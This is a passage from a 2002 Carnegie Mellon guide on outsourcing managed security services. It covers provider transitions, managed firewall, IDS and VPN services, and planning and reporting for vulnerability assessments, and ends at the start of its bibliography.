as a result of a merger or acquisition) • responsibilities and services performed by the primary provider s hift to a tiered provider Use the guidelines in Practice 4 as a checklist to help review all outgoing provider transition responsibilities. Interpret these guidelines from the perspective of transitioning services from one provider to another. Outgoing P rovider Responsibilities The outgoing provider • notifies the client of impending cessation of its business or that of a tiered provider (for example, as a result of bankruptcy) and any contingency plans in the event of notice of such a failure [BITS 01, S ection 5.13.3, p 34]. This includes o immediate transfer of any previously escrowed assets and data o providing client access to provider facilities to remove and destroy client - owned assets and data See also P3.2.1 Viability for other events that trigger clie nt notification and possible contract termination. • takes all necessary actions to ensure a smooth transition of service with minimal disruption to the client • provides a fully documented service description • performs and documents a gap analysis by examinin g the differences between its monitoring tools and those of its successor [Berkman 01] Copyright 2002 Carnegie Mellon University 88 • provides a full inventory and configuration of servers, routers, other hardware, and software involved in service delivery along with supporting documentation. The outgo ing provider indicates which of these are owned by the client and which are owned by the provider. [Berkman 01] The outgoing provider transfers • all assets involved in service delivery, assuming these are client -owned. For provider -owned assets, the transf er is carried out based on contract negotiations. • all data that belongs to the client and all client -relevant data that belongs to the provider, assuming this has been negotiated When client -owned systems have been used to deliver service, the outgoing pr ovider transfers • service system configurations, including any files specific to the service (such as firewall rule sets, IDS signatures) • historical data about configuration management, including maintenance logs, if it affects service transfer Where the o utgoing provider retains ownership for service application source code, the provider follows the terms in the service level agreement (refer to P3.2.9 Exit Strategy). The provider also grants copyright release on all information and documentation required to successfully transfer service. The outgoing provider is likely to have proprietary information about the client’s systems, operations, and business. The client and outgoing provider need to determine how the provider will destroy and remove this sensit ive information from all media, ensuring that it is not disclosed to other individuals or organizations. It may be necessary to either re -sign or initiate a non -disclosure agreement, requiring the provider to be thorough and complete in their efforts to en sure that no information is retained. This effort, in part, invokes a provider system discard process that eradicates all client data from disks, memory, and all other media prior to disposal. Service Transition Timeframe When client -owned systems have b een used to deliver service, then the transition from the outgoing provider to the incoming provider is usually performed over a two -week period (though this can be negotiated). This ensures that the incoming provider has sufficient knowledge and understan ding to assume service duties without interruption. The outgoing provider is obligated to provide technical support for an additional period of time, (also usually two weeks) to ensure a successful transition. When outgoing provider -owned systems have bee n used to deliver service, then describe how the outgoing provider will transition the knowledge and configuration information about the current system to the incoming provider. The incoming provider needs to obtain configuration and operational informatio n, and also needs outgoing provider support to build and test a system that duplicates the configuration of the current service system(s). Copyright 2002 Carnegie Mellon University 89 The duration of this support timeframe depends on the number of systems to be transitioned and their complexity. The outgoing provider works closely with the incoming provider to ensure a successful transition to the new equipment, with minimal downtime and impact to the client. This work is coordinated and performed well in advance of the formal, final transition date . Identify and document specific service tests and scenarios. Their successful execution signals the end of the transition process from the outgoing provider to the incoming provider. Exit Clauses Ensure the contract addresses the following topics in ex it clauses: • provider responsibilities • client responsibilities • the client’s right to recover its data • legal implications of termination for cause including arbitration options • termination fees The contract may also include provisions for the client to work directly with any tiered providers of the outgoing provider, depending on whether or not these agreements were previously established or subject to the outgoing provider’s acceptance of such a working relationship. Copyright 2002 Carnegie Mellon University 90 Copyright 2002 Carnegie Mellon University 91 Practice 7: Considerations for Network Boundary Protection as Managed Security Services The management of firewalls, intrusion detection systems (IDSs), and virtual private networks (VPNs) constitutes some of the most common managed security services. These services can be simple or complex. A managed firewall service may begin and end with the purchase and installation of a perimeter firewall that protects the client’s systems and networks that have a connection to the Internet. A managed firewall service may also expand to include deployment on internal sub -networks with differing access policies, regular configuration and rule set updates, monitoring, intrusion detection, intrusion response, and replacing older firewall technology with new technology. Similarly, IDS services may be limited t o the purchase and installation of an initial, single sensor capability to detect and report intrusions or they may address full life cycle management that incorporates analysis across multiple sensors [McHugh 01]. An IDS service can be deployed both on in ternal sub -networks and those connected to the Internet. A managed VPN service can be provided at varying levels to ensure secure remote access across a small or large user population with differing authentication requirements and authorization rights. Many of the considerations for engaging a MSSP to deploy network boundary protection services are covered in the general practices (Practice 1 – Practice 6). This practice includes technology -specific guidelines that should be considered when outsourcing the se types of services. Each guideline is annotated with the general practice or practices where it should be considered (such as Practice 1 RFP, Practice 3 SLA). Firewall Service A managed firewall service can include a narrow or wide range of features, service levels, and capabilities. The client needs to determine their requirements for each feature, service level, and capability in order to meet business objectives and protect critical assets. The client and provider need to mutually determine roles an d responsibilities including who makes service decisions and choices. In some cases, the client will make the decisions, but when it comes to choosing features of the service, the provider is often more knowledgeable and is therefore in the best position t o make the right decision. Service Description Provide a detailed description of firewall services including [Cisco 01] [Practice 1 RFP] • initial analysis, design, and implementation (to include transition and production operation) • ongoing reassessment of the firewall configuration and infrastructure to ensure the current deployment reflects policy and requirements • any services available to assist the client with implementing initial firewall policies Copyright 2002 Carnegie Mellon University 92 • process for analyzing and reporting of firewall log res ults (use, attack attempts blocked, summaries, etc.) • service level features, such as adding new firewall rules, modifying a currently executing rule, and deleting a rule (routine or emergency) along with any limits on how often each feature can be requeste d and the response times for a given feature Bandwidth/Throughput The client specifies the steady state (sustained) and burst bandwidth/throughput requirements of the firewall. These are typically specified in megabits per second (Mbps). The provider dem onstrates how the proposed solution meets these requirements and how throughput is operationally ensured and measured. [Practice 1 RFP, Practice 2 Evaluation, Practice 3 SLA, Practice 5 Managing] Rules Management The provider manages and maintains the ru les for specified firewalls. This can be performed for either internal firewalls, firewalls connected to the Internet, or both. Firewall rules should be maintained on a regular basis using a defined, repeatable process and should include the following acti vities: • creation of rules • modification of rules • retirement of rules • testing and validation of rule set changes • ensuring all rules are applied to the correct interfaces on the firewall (especially when a DMZ (demilitarized zone) is present) • correction of mi sapplied or contrasting rules • creation of limited function or time -dependent rule(s) Regular firewall rules management usually means that a small group of provider staff members are responsible for maintaining these rules, and are also responsible for documenting any rule changes. Specify how often firewall rule maintenance is performed, including under what events or conditions the rules are updated. Consider granting the provider permission to install emergency rule additions and changes under specified conditions. Make sure to specify the provider’s response time to rule set change requests as part of the SLA. [Practice 1 RFP, Practice 3 SLA, Practice 5 Managing] The client needs to determine if the provider has implemented sound, industry accepted security practices and filtering guidelines for the firewall configuration and operation [Practice 2 Evaluation, Practice 4 Transition, Practice 5 Managing]. These include • denying inbound traffic with an internal source network address • denying all outbound tr affic with a source network address that does not match an address on the internal network • including rules to prevent firewall enumeration by probing and scanning techniques Copyright 2002 Carnegie Mellon University 93 • if there is a DMZ, all rules are applied to the correct interfaces on the fire wall. Traffic on specified ports or from specified address ranges should be allowed into the DMZ via one ruleset, while traffic destined for the internal network should pass through a separate ruleset. These rulesets should apply to both the DMZ and the ex ternal Internet. Having two separate rulesets minimizes the chances of misconfiguration. • ongoing evaluations to ensure rules properly implement inbound and outbound policies [Cisco 01] Firewall Visibility The client needs to determine if there is a requi rement for a firewall to operate in stealth mode on the network, such that it cannot be enumerated by probing and scanning. This keeps a firewall in listen -mode only and makes its presence unknown to potential attackers. [Practice 3 SLA, Practice 5 Managin g] Monitoring (Proactive) The provider reviews firewall logs at specified time intervals (12, 24, 48 hours, etc.), reports inconsistencies in network traffic, and recommends changes to the firewall system configuration. This is different from other monito ring options such as reactive monitoring which often only supports forensic analysis after security incidents have occurred. [Practice 3 SLA, Practice 5 Managing] Stateful Packet Filtering The provider configures the firewall system to perform stateful pa cket filtering rather than stateless packet filtering. Stateless packet filters specify network traffic accept/deny actions based on message header field content only, processing each message individually. Stateful packet filtering, also known as stateful inspection21, maintains information about the state of a connection and messages exchanged thus far. This keeps external systems from being able to initiate connections to the protected network and provides more control and better information to make messag e-filtering decisions. Stateful packet filtering offers stronger security and network traffic management. [Practice 3 SLA, Practice 4 Transition, Practice 5 Managing] Network Address Translation (NAT) The firewall system has a publicly routable IP (Intern et protocol) address, while all systems behind the firewall have non -Internet routable private addresses (such as 10.x.x.x or 192.168.x.x, etc.). This supports a maximum number of internal systems having access to the Internet using only one public IP addr ess, thereby hiding internal system addresses from external view. In this case, the provider may need to gain a detailed understanding of the client’s architecture behind the firewall in order to accurately design and configure the firewall to use NAT. [Pr actice 3 SLA, Practice 4 Transition, Practice 5 Managing] 21 Check Point Software is credited with coining the term stateful inspection in the use of its FireWall -1 in 1993 per Webopedia at http://www.webopedia.com/TERM/S/stateful_ins pection.html. Copyright 2002 Carnegie Mellon University 94 MSSP -Owned Firewall A provider owns and installs the firewall that is used to protect the client’s perimeter or internal sub -networks. The client avoids the cost of the firewall system (hardware and software) but may pay more for firewall system recurring costs (such as service, customer support, and maintenance). The provider’s post -installation responsibilities are documented in the SLA. The provider’s termination responsibilities are documented in the SLA or in the contract. [Practice 1 RFP, Practice 3 SLA, Practice 4 Transition, Practice 5 Managing, Practice 6 Termination] Repairs and Maintenance In the case of either client or provider ownership of the firewall system, the provider agrees to perform on -site repairs, upgrades, and preventive maintenance if such maintenance cannot be performed remotely. This includes, for example, signature/filter rule updates, network diagnostics, equipment service, software and configuration updates, and data archival (backups, off -site storage). This may include specific service agreements (such as time to respond and time to repair). [Practice 1 RFP, Practice 3 SLA, Practice 5 Managing] Firewall System Reports The means by which the provider delivers firewal l system reports to the client can vary. Some providers offer online log and statistical reports, which provide near real -time information about firewall system performance and traffic patterns. Others offer paper - based reports, sending these to the client on a regular basis. The provider should report the following firewall system information on a regular basis (via a secure communications channel): • current status of the rules and configurations • ruleset maintenance and other scheduled outages • results o f periodic testing of the ruleset and alert mechanisms • operational outages (unscheduled) [Practice 1 RFP, Practice 3 SLA, Practice 5 Managing] Log Trending and Analysis In addition to standard firewall system reports, some providers offer more detailed information analysis, which may include trending, anomaly detection, and threshold analysis. This gives the client more detailed information about their network, and allows the client to be more informed when making decisions regarding the future of the ne twork and the managed firewall service. [Practice 1 RFP, Practice 3 SLA, Practice 5 Managing] Intrusion Detection System Service A managed IDS service can include a narrow or wide range of features, service levels, and capabilities. As for a firewall serv ice, the client needs to determine their requirements for each feature, service level, and capability to meet business objectives and protect critical assets. Copyright 2002 Carnegie Mellon University 95 The client and provider need to mutually determine roles and responsibilities including who make s service decisions and choices. In some cases, this is the client but when it comes to detailed features of the service, the provider is often more knowledgeable and therefore is in the best position to make the right choice or decision. Service Descript ion Provide a detailed description of IDS services including initial architecture analysis, design, implementation (to include transition and production operation), and ongoing reassessment of the IDS infrastructure. Describe your process for ongoing IDS s ensor monitoring, analysis, and reporting of both IDS -detected attacks and network trend analysis [Cisco 01]. Describe the extent of detection and response services as discussed in P1.3.10 Monitoring and Auditing, and P1.3.11 Incident Management [Practice 1 RFP]. Multiple Network Sensors and Sensor Locations The provider may install and manage a single sensor in a single location or may install many sensors located throughout the network that report their results to a central management console. Selecting an appropriate configuration depends on: (1) the network architecture and the elements to be monitored, (2) the need for narrow or broad traffic analysis and correlation, and (3) whether or not both incoming and outgoing traffic will be monitored. [Practic e 1 RFP, Practice 3 SLA, Practice 4 Transition, Practice 5 Managing] Host -Based and Network -Based The provider may install host -based IDSs, network -based IDSs, or both. Host -based IDSs only analyze traffic destined for a specific host as well as host per formance and behavior. They are typically installed on the host of interest and generate log records either locally on that host or send them to a central log server or management station. Host -based intrusion detection is effective for isolating and analy zing events related to a specific host. Network -based IDSs may have one or many collection sensors, and are concerned with the entire network or sub -network. In providing network -wide information, the sensors may produce far greater amounts of data than host-based systems. Both methods are effective. Selecting an appropriate combination and configuration depends on the client’s detection and analysis needs and their requirements to protect their most critical assets. [Practice 1 RFP, Practice 3 SLA, Pract ice 4 Transition, Practice 5 Managing] Signature -Based and Anomaly -Based The majority of detection systems currently in use are signature -based. These systems examine network message traffic headers and/or payloads (message contents). Incoming (and possib ly outgoing) messages are compared with known patterns (signatures) to determine if a match occurs with a known type of attack. Signature -based IDSs are effective against known attacks whose patterns have been codified. They offer a level of forensics capa bility to the client and provider who maintain them. [Practice 1 RFP, Practice 3 SLA, Practice 4 Transition, Practice 5 Managing] Copyright 2002 Carnegie Mellon University 96 Anomaly -based IDSs compare incoming (and possibly outgoing) network traffic against an established profile of “normal behavio r.” This profile is often difficult to maintain because what defines normal behavior at any given time can change. The IDS generates an alert when detected behavior exceeds some pre -established threshold or is otherwise inconsistent with the profile. This approach may be more appropriate for a well -defined, static network whose normal behavior can be predictably characterized. [Practice 1 RFP, Practice 3 SLA, Practice 4 Transition, Practice 5 Managing] The provider configures, regularly reviews, and mainta ins signatures and anomaly profiles for provider -supported IDSs. The provider describes what resources are used to identify potential changes and how often maintenance is performed on these definitions. Ideally, the provider has the capability to develop a nd implement signatures of the most recent attacks without having to wait for this information from a third party IDS vendor. The provider uses a defined, repeatable process for signature and profile maintenance. Consider granting the provider permission to install emergency signature and profile additions and changes under specified conditions. The client needs to specify the provider’s response time to IDS change requests as part of the SLA. [Practice 1 RFP, Practice 2 Evaluation, Practice 3 SLA, Practi ce 4 Transition, Practice 5 Managing] IDS Visibility The client needs to determine if there is a requirement for the IDS to operate in stealth mode on the network, such that it cannot be enumerated by probing and scanning. This keeps the IDS in listen -mode only and makes its presence unknown to potential attackers. [Practice 3 SLA, Practice 5 Managing] Monitoring (Proactive) The client specifies acceptable levels of IDS false positives and false negatives22 or negotiates these with the provider. The provid er reviews IDS logs at specified time intervals (12, 24, 48 hours, etc.) and reports inconsistencies in network traffic and host performance. The provider recommends changes to the IDS configuration. This is distinct from other monitoring options such as r eactive monitoring, which often only supports forensic analysis after security incidents have occurred. [Practice 3 SLA, Practice 5 Managing] Throughput The client specifies the steady state (sustained) and burst throughput requirements of the IDS. The pr ovider demonstrates how the proposed solution meets these requirements and how throughput is operationally ensured and measured. [Practice 1 RFP, Practice 2 Evaluation, Practice 3 SLA, Practice 5 Managing] 22 An IDS false positive is an indication that a suspicious action has taken place when it has not. A false negative is the absence of an indication when a suspicious action has indeed occurred. Copyright 2002 Carnegie Mellon University 97 Repairs and Maintenance In the case of either client or provider ownership of the IDS, the provider agrees to perform on -site repairs, upgrades, and preventive maintenance if such maintenance cannot be performed remotely. This includes, for example, signature/profile updates, network diagnostics, equi pment service, software and configuration updates, and data archival (backups, off -site storage). This may include specific service agreements (such as time to respond and time to repair). [Practice 1 RFP, Practice 3 SLA, Practice 5 Managing] IDS Reports The means by which the provider delivers IDS reports to the client can vary. Some providers offer online log and statistical reports, which provide near real -time information about IDS performance and traffic patterns. Others offer paper -based reports, sending these to the client on a regular basis. The provider should report the following IDS information on a regular basis (via a secure communications channel): • current status of the signature and profile configurations • signature/profile maintenance and other scheduled outages • results of periodic testing of signatures, profiles, and alert mechanisms • operational outages (unscheduled) [Practice 1 RFP, Practice 3 SLA, Practice 5 Managing] Log Trending and Analysis In addition to standard IDS system report s, some providers offer more detailed information analysis, which includes trending, anomaly detection, threshold, and traffic analysis. This gives the client more detailed information about their network and alerts the client to suspicious behavior that m ay be an early warning of an attack. [Practice 1 RFP, Practice 3 SLA, Practice 5 Managing] MSSP -Owned IDS A provider owns and installs the IDS that is used to monitor the client’s systems and networks. The client avoids the cost of the IDS (hardware and s oftware) but may pay more for IDS recurring costs (such as service, customer support, and maintenance). The provider’s post -installation responsibilities are documented in the SLA. The provider’s termination responsibilities are documented in the SLA or in the contract. [Practice 1 RFP, Practice 3 SLA, Practice 4 Transition, Practice 5 Managing, Practice 6 Termination] Virtual Private Network Service A managed VPN service can include a narrow or wide range of features, service levels, and capabilities. As for a firewall or IDS service, the client needs to determine their requirements for each feature, service level, and capability to meet business objectives and protect critical assets. The client and provider need to mutually determine roles and responsibi lities including who makes service decisions and choices. Copyright 2002 Carnegie Mellon University 98 In some cases, this is the client but when it comes to detailed features of the service, the provider is often more knowledgeable and therefore is in the best position to make the right choice or d ecision. Service Description Provide a detailed description of VPN services including initial analysis, design, implementation (to include transition and production operation), and ongoing re - assessment of VPN operation. Include a description of [Cisco 0 1] [Practice 1 RFP] • site-to-site and remote access VPN services • VPN policy management from initial establishment to ongoing analysis, enforcement, and adjustments • capabilities to support both on -site and remote VPN users including help desk support, on -demand download of client software, on -line help, assistance with initial setup, ongoing technical problem resolution, etc. • service -level features such as routine and emergency user ID additions, adding new and deleting old VPN tunnels (routine, emergency), a nd VPN policy modifications along with any limits on how often features can be requested and response times to implement • client options, if any, for administrative control of the network or any part of the VPN infrastructure • software tools and techniques used to administer the infrastructure, indicating if these are available for client use • any VPN self -provisioning tools, techniques, and processes (increasing bandwidth, adding nodes, etc.) and whether these can be used by the client to adjust service para meters Bandwidth/Throughput The client specifies the steady state (sustained) and burst bandwidth/throughput requirements of the VPN (typically specified as Mbps). The provider demonstrates how the proposed solution meets these requirements and how throu ghput is operationally ensured and measured. [Practice 1 RFP, Practice 2 Evaluation, Practice 3 SLA, Practice 5 Managing] The provider describes its procedures for maintaining VPN integrity at the level of service specified in the SLA, including details of the fault tolerance/fail over process to resolve service outages. [Cisco 01] [Practice 1 RFP, Practice 2 Evaluation, Practice 3 SLA, Practice 5 Managing] Authentication Alternatives Effective operation of a secure VPN requires reliable, secure authenti cation of remote users who are attempting to gain access to the network. The provider can offer a range of authentication methods either singly or in combination, such as username/password, one time password, smart cards, public key, and biometrics. The re quired level of authentication strength (one factor, two factor, or more) depends on the client’s remote access security requirements. Copyright 2002 Carnegie Mellon University 99 Higher security requirements for the network being accessed result in the need for stronger methods of authentication. [ Practice 1 RFP, Practice 2 Evaluation, Practice 3 SLA, Practice 4 Transition, Practice 5 Managing] The provider describes the method for ensuring that only authorized VPN clients are obtaining the correct IP addresses (if there are filters based on addres s). If the filters are based on addresses, and the provider is not correctly handing out those addresses, other provider clients may be able to gain access to the primary client’s network. Accurate and authorized address assignment is critical to the secur ity of the remote access solution. Providers need to manage the address space appropriately, guaranteeing that only authorized, authenticated users are gaining access to the client’s network. [Practice 1 RFP, Practice 2 Evaluation, Practice 3 SLA, Practice 4 Transition, Practice 5 Managing] All inbound VPN traffic should be treated as Internet traffic so that it can only be delivered to the specified services. Encryption The provider describes the technology used to implement the VPN (IPSec, PPTP, L2F, Frame Relay, etc.) as well as any current or future MPLS capability and integration of IPSec and MPLS.23 [Cisco 01] [Practice 1 RFP, Practice 2 Evaluation, Practice 5 Managing] Given that in most cases the VPN must support remote access for system administra tion, the provider describes their method for strong encryption (such as AES, 3DES24, MD525, SHA26, etc.) and confirms that the VPN solution is fully compliant with the IPSec protocol. [Practice 1 RFP, Practice 2 Evaluation, Practice 5 Managing] Use Statisti cs Providers may report on a range of VPN use statistics including the number of connections, connections by user, time of connections, and total time on the VPN (as measured by individual users, total bandwidth used by individual users, etc.). The provide r indicates how often use statistics are collected and reported. This information aids the client in ensuring that they are getting the most for their VPN investment. It also reveals if any user or group of users are abusing the VPN service. [Practice 1 RF P, Practice 3 SLA, Practice 5 Managing] On-Site Repairs In the case of either client or provider ownership of the VPN, the provider agrees to perform on -site repairs, upgrades, and preventive maintenance (network diagnostics and analysis, troubleshooting of network issues, equipment service, software upgrades, etc.) 23 IPSec - Internet Protocol Security; PPTP - Port to Port Tunneling Protocol; L2F - Layer 2 Forwarding; MPLS - Multiprotocol Label Switching. For further details, see http://www.webopedia.com. 24 Advanced Encryption Standard and Triple Data Encryption Standard. See http://csrc.nist.gov/cryptval/des.htm. 25 Message Digest 5. See http://www.faqs.org/rfcs/rfc1321.html. 26 Secure Hash Algorithm. See http://www.itl.nist.gov/fipspubs/fip180 -1.htm. Copyright 2002 Carnegie Mellon University 100 [Cisco 01]. This may include specific service agreements (such as time to respond and time to repair). [Practice 1 RFP, Practice 3 SLA, Practice 5 Managing] Separate Service or Combined With a Firewall System Some providers offer a package of VPN services coupled with managed firewall services. This may be an effective combination of network boundary protection services and may decrease overall costs if the client decides to outsource both of t hese services. Ensure that the combined firewall/VPN solution meets bandwidth and throughput requirements. [Practice 1 RFP, Practice 2 Evaluation, Practice 5 Managing] Traffic Trending and Analysis In addition to standard use reports, some providers offer more detailed information analysis to include trending, anomaly detection, traffic, and threshold analysis. This gives the client more detailed information about their network and allows the client to be more informed when making decisions regarding the f uture of the network and the VPN service. [Practice 1 RFP, Practice 3 SLA, Practice 5 Managing] MSSP -Owned VPN A provider owns and installs the VPN that is used to protect access to the client network. The client avoids the cost of the VPN (hardware and s oftware) but may pay more for the recurring costs associated with operating the VPN, such as service, customer support, and maintenance. The provider’s post installation responsibilities are documented in the SLA. The provider’s termination responsibilitie s are documented in the SLA or in the contract. [Practice 1 RFP, Practice 3 SLA, Practice 4 Transition, Practice 5 Managing, Practice 6 Termination] Copyright 2002 Carnegie Mellon University 101Practice 8: Considerations for Vulnerability Assessment as a Managed Security Service Vulnerability asse ssments (VA) are coordinated activities whose purpose is to uncover security weaknesses in an organization’s IT environment. These can include using • proprietary, COTS27, and open source tools to conduct automated scanning of known technical vulnerabilities in networked systems • social engineering techniques to expose vulnerabilities in the security awareness and behavior of users including administrators • manual techniques for conducting targeted testing on specific systems that may have escaped detection duri ng automated scanning to identify undocumented or new vulnerabilities • penetration testing that simulates methods used by intruders to gain unauthorized access to an organization’s networked systems and then compromise them There are many reasons why an o rganization may want to engage an MSSP to provide VA services including • lack of specific VA technical knowledge and expertise • insufficient staff time and resources • seeking to benefit from an outsider’s objectivity and the experience they have gained work ing with a wide range of clients • a requirement for customized vulnerability reporting and corrective action • a requirement for ongoing, regularly scheduled VA activities • seeking an external “intruder’s eye view” of the organization’s security posture [Qualy s] • a requirement for independent affirmation of the client’s security posture to build customer and partner confidence There are several topics that an organization should consider before deciding to outsource vulnerability assessment services. This pract ice provides guidelines on what client organizations can expect and how best to proceed. Each guideline is annotated with the general practice(s) where it should be considered (such as Practice 1 RFP, Practice 3 SLA). 27 commercial off -the-shelf Copyright 2002 Carnegie Mellon University 102 Considerations Prior to Conducting a VA A client organization must carefully plan for any VA activity prior to the actual assessment and document the planning details. Consider the follow issues in advance: • The assessment should be approved by the appropriate authority within the organizati on and undergo a thorough legal review. VA activities can introduce risks to information assets; systems can crash inadvertently, data can be destroyed or compromised, system performance and throughput can be affected, and, as a result, productivity and re venue can be affected. [Practice 1 RFP] • Determine if the VA should be announced or unannounced. Announced VAs are conducted with the full cooperation and knowledge of the IT staff. Unannounced VAs are typically conducted with only the awareness of upper -level management. These VAs examine the security of the infrastructure as well as the responsiveness of IT staff [Klevinsky 02]. An unannounced VA generally comes with higher risk and a greater potential of encountering unexpected problems. [Practice 1 RFP, Practice 5 Managing] • Consider the skill sets required for the VA team. Make sure that provider personnel have expertise with both the required tools and the systems that compose the client’s operating environment. For example, if the client has a less po pular network operating system, such as Novell or Banyan, the provider needs to have the required level of expertise. [Practice 2 Evaluation] • Ensure that the provider conducts background and security checks on its assessment personnel. Serious and damagin g consequences can result if provider personnel do not maintain standards of integrity and discretion. For example, Trojan horse and backdoor programs can be left behind for later access, data can be compromised, and the results of the VA can be released t o the press. [Practice 2 Evaluation] • Define the required scope of the assessment activity to include whether it is targeted or comprehensive. An organization may not want portions of its network to be subject to a VA. Critical production and revenue -gener ating systems such as e -commerce servers may be too vital to the organization to warrant the inevitable risks associated with comprehensive VAs. On the other hand, organizations need to be aware of the risk of unpatched vulnerabilities on their systems and the inherent risks of exposure and damage. [Practice 1 RFP, Practice 5 Managing] Copyright 2002 Carnegie Mellon University 103Targeted assessments seek to identify vulnerabilities in specific systems and practices such as o perimeter defenses of Internet -connected systems such as border routers, firewalls, DMZ public services (web server, FTP, external DNS, etc.) 28 o remote access technologies such as dial -in and VPN o Intranet services such as internal email, file and print services, and intraweb user workstation systems o compliance with documented se curity policies, for example, ensuring users do not write down their passwords, and other common practices o security of proprietary applications and software development code o security of customer and partner data o susceptibility to denial -of-service (network flooding) attacks Comprehensive assessments are coordinated efforts that generally seek to uncover as many vulnerabilities as possible throughout an organization’s IT practices and networked infrastructure. • Determine ownership of all systems that will b e subject to the VA. Some organizations lease Internet -connection equipment such as routers and CSU/DSU29 from ISPs. If this is the case, the ISP should be notified of the impending VA. Include user systems connected to the organizational network via remote access such as personal laptops and hand -held computing devices such as personal digital assistants (PDAs). [Practice 1 RFP, Practice 5 Managing] • Define all deliverable items required of the provider including the final report outline and contents, sugge sted solutions to exposed vulnerabilities, and level of provider support, if any, in patching discovered vulnerabilities. [Practice 3 SLA] • Determine if the provider plans to conduct the VA remotely, onsite, or a combination of both. If the provider will b e onsite, determine escort requirements and its effect on IT operations. [Practice 2 Evaluation, Practice 3 SLA, Practice 5 Managing] • Determine provider requirements for special user accounts and privileges. Once special user accounts and privileges are a pproved and established, make sure these are set to expire after the VA is concluded. [Practice 3 SLA, Practice 5 Managing, Practice 6 Termination] • Determine what tools the provider will use. Require a complete list of each tool’s components and the asset s (systems, networks, data, personnel) it will examine. Some open source and commercial tools are developed by white hat or black hat hackers and may have undocumented and undesirable side effects such as the installation of backdoors and worms. [Practice 2 Evaluation, Practice 5 Managing] 28 Demilitarized Zone, File Transfer Protocol, Domain Name System 29 Channel Service Unit/Da ta Service Unit Copyright 2002 Carnegie Mellon University 104 VA Activities These depend on the scope of the VA. The following are examples of VA activities [Practice 1 RFP, Practice 2 Evaluation, Practice 3 SLA]: • Attempted discovery of known vulnerabilities30 in applications and ope rating systems (automated scanning tools are typically used) o Windows vulnerabilities such as Restrict Anonymous, default sharing permissions, and IIS31 bugs o vulnerable implementations of BIND32, DNS33, Sendmail, and routing protocols o weak default configuratio ns and built -in default accounts o weak authentication methods such as LAN34 Manager allowed on Windows networks, and the use of Berkley R commands such as rlogin on networks o use of clear -text services such as Telnet, FTP35, and POP336 o effectiveness of access c ontrol devices such as firewalls and routers o auditing to reveal poor passwords and excessive account privileges o virus definition currency across all tested systems o presence of unnecessary services on networked systems, particularly servers o effectiveness of logging, monitoring, and intrusion detection (if present) o weak remote administration practices for key systems such as the absence of encryption o dial-in vulnerabilities, discovered by using war dialing programs or other means, such as the presence of act ive modems on networked systems (dual -homed) and the presence of an inappropriately positioned modem bank (dial -in solution) in the architecture o network enumeration, mapping, and publicly available information such as using whois37, ARIN38, and other Interne t resources to footprint an organization’s network and attempting ping sweeps, traceroute39, operating system identification, port scanning, zone -transfers, and other techniques to determine how vulnerable the network is to information gathering attacks 30 Details of current vulnerabilities can be found at http://www.cert.org and http://cve.mitre.org . Information on vulnerability assessment tools can be found in the article “Vulnerability -assessment services on the rise” [Andress 02]. 31 Microsoft’s Internet Information Server 32 Berkeley Internet Name Domain 33 Domain Name System 34 Local Area Network 35 File Transfer Protocol 36 Post Office Protocol, used to retrieve emai l from a mail server 37 whois is an Internet utility that returns information about a domain name or IP address. Refer to http://www.allwhois.com/ for further details. 38 American Registry for Internet Numbers 39 A ut ility that traces a packet from a computer to an Internet host, showing how many hops the packet requires to reach the host and how long each hop takes. Copyright 2002 Carnegie Mellon University 105o conduct social engineering probes to determine user security awareness and behavior such as calling the help desk and attempting to have an account created or a password reset. Attempt other social engineering techniques against staff members. o construct a flo od of SYN40 packets to test the infrastructure’s ability to withstand a denial -of-service attack o unauthorized access and use of network resources via wireless network connections Post -Assessment Reporting and Consulting Options Most providers attempt to mak e vulnerability reporting as concise and understandable as possible. This is preferred, since automated vulnerability scanning tools are infamous for returning reams of data —often riddled with false positives (reporting a vulnerability where one does not a ctually exist). These automated reports are generally excessively technical and difficult to understand. Additionally, it is often difficult to derive an effective solution to the reported vulnerability. Most providers offer technical consulting services t o help address the reported vulnerabilities. Offered services may include online vulnerability knowledge bases, telephone assistance, and onsite technical assistance. [Practice 2 Evaluation, Practice 5 Managing] Provider reporting options may include [Pra ctice 3 SLA, Practice 5 Managing] • online reports stored in encrypted databases accessible only to specific, authorized users using strong authentication methods • online reports that are available for a limited time and then deleted from the server • mitigatio n tracking systems that allow client IT staff members to monitor their progress in addressing reported vulnerabilities • automated follow -on scans that update online reports in near real time (with necessary planning, approvals, and advance notification) • derivative analysis reporting that describes how an organization’s security posture is improving over time. These reports rely on long term, regularly scheduled VAs with the same provider An organization needs to understand how the provider treats the dispos ition of the VA report and intermedia te results. The information is sensitive so agreements and processes should be in place to protect its confidentiality. The provider should use strong encryption for the storage of this data and should have an agreed -upon schedule for its secure, documented destruction. [Practice 2 Evaluation, Practice 5 Managing, Practice 6 Termination] VA reporting as an outsourced service is maturing and is making it easier for IT staff members to effectively analyze and use the repo rted results to address identified problems. 40 The initial message sent from a client computer to establish a TCP connection to a system providing a service (the server). Copyright 2002 Carnegie Mellon University 106 Copyright 2002 Carnegie Mellon University 107Bibliography [Alberts 01a] Alberts, Christopher, Dorofee, Audrey. OCTAVESM Method Implementation Guide Version 2.0 . Carnegie Mellon University: Software Engineering Institute, June, 2001. Information is ava ilable at http://www.cert.org/octave . [Alberts 01b] Alberts, Christopher, Dorofee, Audrey, Allen, Julia. OCTAVESM Catalog of Practices, Version 2.0 . CMU/SEI -2001 -TR-020 Carnegie Mellon University: Software Engineering Institute, October, 2001. Available at http://www.cert.org/archive/pdf/01tr020.pdf . [Allen 01] Allen, Julia. The CERT Guide to System and Network Security Practices . Addison -Wesley, Jun e 2001. [Allen 00] Allen, Julia, et al. State of the Practice of Intrusion Detection Technologies. (CMU/SEI -99-TR-028), Pittsburgh, PA: Software Engineering Institute, Carnegie Mellon University, 2000. Available at http://www.cert.org/archive/pdf/99tr028.pdf . [Allen 97] Allen, Julia. Security for Information Technology Service Contracts . (CMU/SEI -SIM-03), Pittsburgh, PA: Software Engineering Institute, Carnegie Mellon University, 1997. Available at http://www.cert.org/security - improvement/modules/m03.html [Alner 01] Alner, Marie. “The Effects of Outsourcing on Information Security.” Information Systems Security . Auerbach Publications, CRC Press LLC, May/June 2001. [Amaladoss 01] Amaladoss, Babu. “Managed Security Services – An Evolving Security Solution.” March 8, 2001. Available at http://rr.sans.org/managed/mss.php . [Ambrose 01] Ambrose, C. “IT Service Contracts – Transition and Transformation Plan.” Gartner Commentary, 14 September 2001. [Ambrose 02] Ambrose, Christopher, Helen Huntley. “Retain enough resources to manage outsourcing deals.” ZDNet Tech Update, provid ed by Gartner, July 30, 2002. Available at http://techupdate.zdnet.com/techupdate/stories/main/0,14179,2875650 - 1,00.html. [Anderson 01] Anderson, Michelle. “On the Cutting 